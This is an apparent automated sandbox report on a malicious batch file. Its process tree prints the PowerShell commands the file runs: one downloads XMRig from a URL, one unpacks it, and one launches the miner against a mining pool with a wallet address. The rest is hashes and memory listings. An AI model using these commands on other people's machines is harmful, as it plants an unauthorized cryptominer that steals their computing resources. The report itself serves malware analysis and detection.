Analysis

  • max time kernel
    1796s
  • max time network
    1786s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30-12-2023 07:23

General

  • Target

    tesy - Copy (12).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:884
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:752
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4384
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3720

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    48b70828e3895cc4c388b5350da3e540

    SHA1

    55f434fc0bbc95df351087eb3806de060b92337c

    SHA256

    5a6d1764effe8859426ff3ac05de0a5c8ad541fc3613ff82cc96ce0579f5a8f8

    SHA512

    f443d2cd6d50f4a91deab4774b8bdd483ddd73742be3169de9ef6279116c138d06b5f6e364833d10a587c2a2c04bce00cc116d090429f9e3de500b9460edef1e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gp3icnvy.doj.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    26KB

    MD5

    d124ba88f385dc6d23f7ea5b2838f3f0

    SHA1

    79f26f2605731032db201cb526467fb8b4b6ab01

    SHA256

    c315a3bfc9dbc757315c687025593e4c06fa57cd28e8dcce59fdd41d4b34bfa1

    SHA512

    59914ea2bb6ca63c410d6cd1b34452fc9d7be840d1d972ccc294ac763bac4294e7bd4e4d4799880494fa4a944ab199096c90d57a9127096b3e2beab8213e3cae

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    1KB

    MD5

    88130d5f01d2346960cb7651bfc19433

    SHA1

    e326f47edc3657afce60887c64677e89a75b7b9d

    SHA256

    b2c3b4198c06eb20b2ee79a726647668af89f77530f96e65b2ee1eaa8596862d

    SHA512

    c88a7c84b52f3605385b32639cc7d7a48a4544cf8d6eeb6a6e5ff061f986d575a57b58d1a8a9fe97849617b33669fdbf99460c46e57110a245931a1dec6fabfb

  • memory/752-27-0x000001BA4A480000-0x000001BA4A490000-memory.dmp

    Filesize

    64KB

  • memory/752-25-0x000001BA4A480000-0x000001BA4A490000-memory.dmp

    Filesize

    64KB

  • memory/752-26-0x00007FF892300000-0x00007FF892CEC000-memory.dmp

    Filesize

    9.9MB

  • memory/752-5-0x00007FF892300000-0x00007FF892CEC000-memory.dmp

    Filesize

    9.9MB

  • memory/752-28-0x000001BA4A480000-0x000001BA4A490000-memory.dmp

    Filesize

    64KB

  • memory/752-29-0x000001BA4A480000-0x000001BA4A490000-memory.dmp

    Filesize

    64KB

  • memory/752-10-0x000001BA626C0000-0x000001BA62736000-memory.dmp

    Filesize

    472KB

  • memory/752-34-0x00007FF892300000-0x00007FF892CEC000-memory.dmp

    Filesize

    9.9MB

  • memory/752-4-0x000001BA4A3D0000-0x000001BA4A3F2000-memory.dmp

    Filesize

    136KB

  • memory/752-6-0x000001BA4A480000-0x000001BA4A490000-memory.dmp

    Filesize

    64KB

  • memory/752-7-0x000001BA4A480000-0x000001BA4A490000-memory.dmp

    Filesize

    64KB

  • memory/3720-143-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-150-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-188-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-187-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-186-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-185-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-120-0x000002AE07750000-0x000002AE07770000-memory.dmp

    Filesize

    128KB

  • memory/3720-184-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-121-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-122-0x000002AE07790000-0x000002AE077B0000-memory.dmp

    Filesize

    128KB

  • memory/3720-123-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-125-0x000002AE077D0000-0x000002AE077F0000-memory.dmp

    Filesize

    128KB

  • memory/3720-124-0x000002AE077B0000-0x000002AE077D0000-memory.dmp

    Filesize

    128KB

  • memory/3720-126-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-127-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-128-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-130-0x000002AE077D0000-0x000002AE077F0000-memory.dmp

    Filesize

    128KB

  • memory/3720-129-0x000002AE077B0000-0x000002AE077D0000-memory.dmp

    Filesize

    128KB

  • memory/3720-131-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-132-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-133-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-134-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-135-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-136-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-137-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-138-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-139-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-140-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-141-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-142-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-183-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-144-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-145-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-146-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-147-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-148-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-149-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-182-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-151-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-152-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-153-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-154-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-155-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-156-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-157-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-158-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-159-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-160-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-161-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-162-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-163-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-164-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-165-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-166-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-167-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-168-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-169-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-170-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-171-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-172-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-173-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-174-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-175-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-176-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-177-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-178-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-179-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-180-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/3720-181-0x00007FF74FE10000-0x00007FF750913000-memory.dmp

    Filesize

    11.0MB

  • memory/4384-66-0x000001F744C00000-0x000001F744C10000-memory.dmp

    Filesize

    64KB

  • memory/4384-39-0x00007FF892300000-0x00007FF892CEC000-memory.dmp

    Filesize

    9.9MB

  • memory/4384-42-0x000001F744C00000-0x000001F744C10000-memory.dmp

    Filesize

    64KB

  • memory/4384-117-0x00007FF892300000-0x00007FF892CEC000-memory.dmp

    Filesize

    9.9MB

  • memory/4384-80-0x000001F744DD0000-0x000001F744DE2000-memory.dmp

    Filesize

    72KB

  • memory/4384-93-0x000001F744C30000-0x000001F744C3A000-memory.dmp

    Filesize

    40KB

  • memory/4384-41-0x000001F744C00000-0x000001F744C10000-memory.dmp

    Filesize

    64KB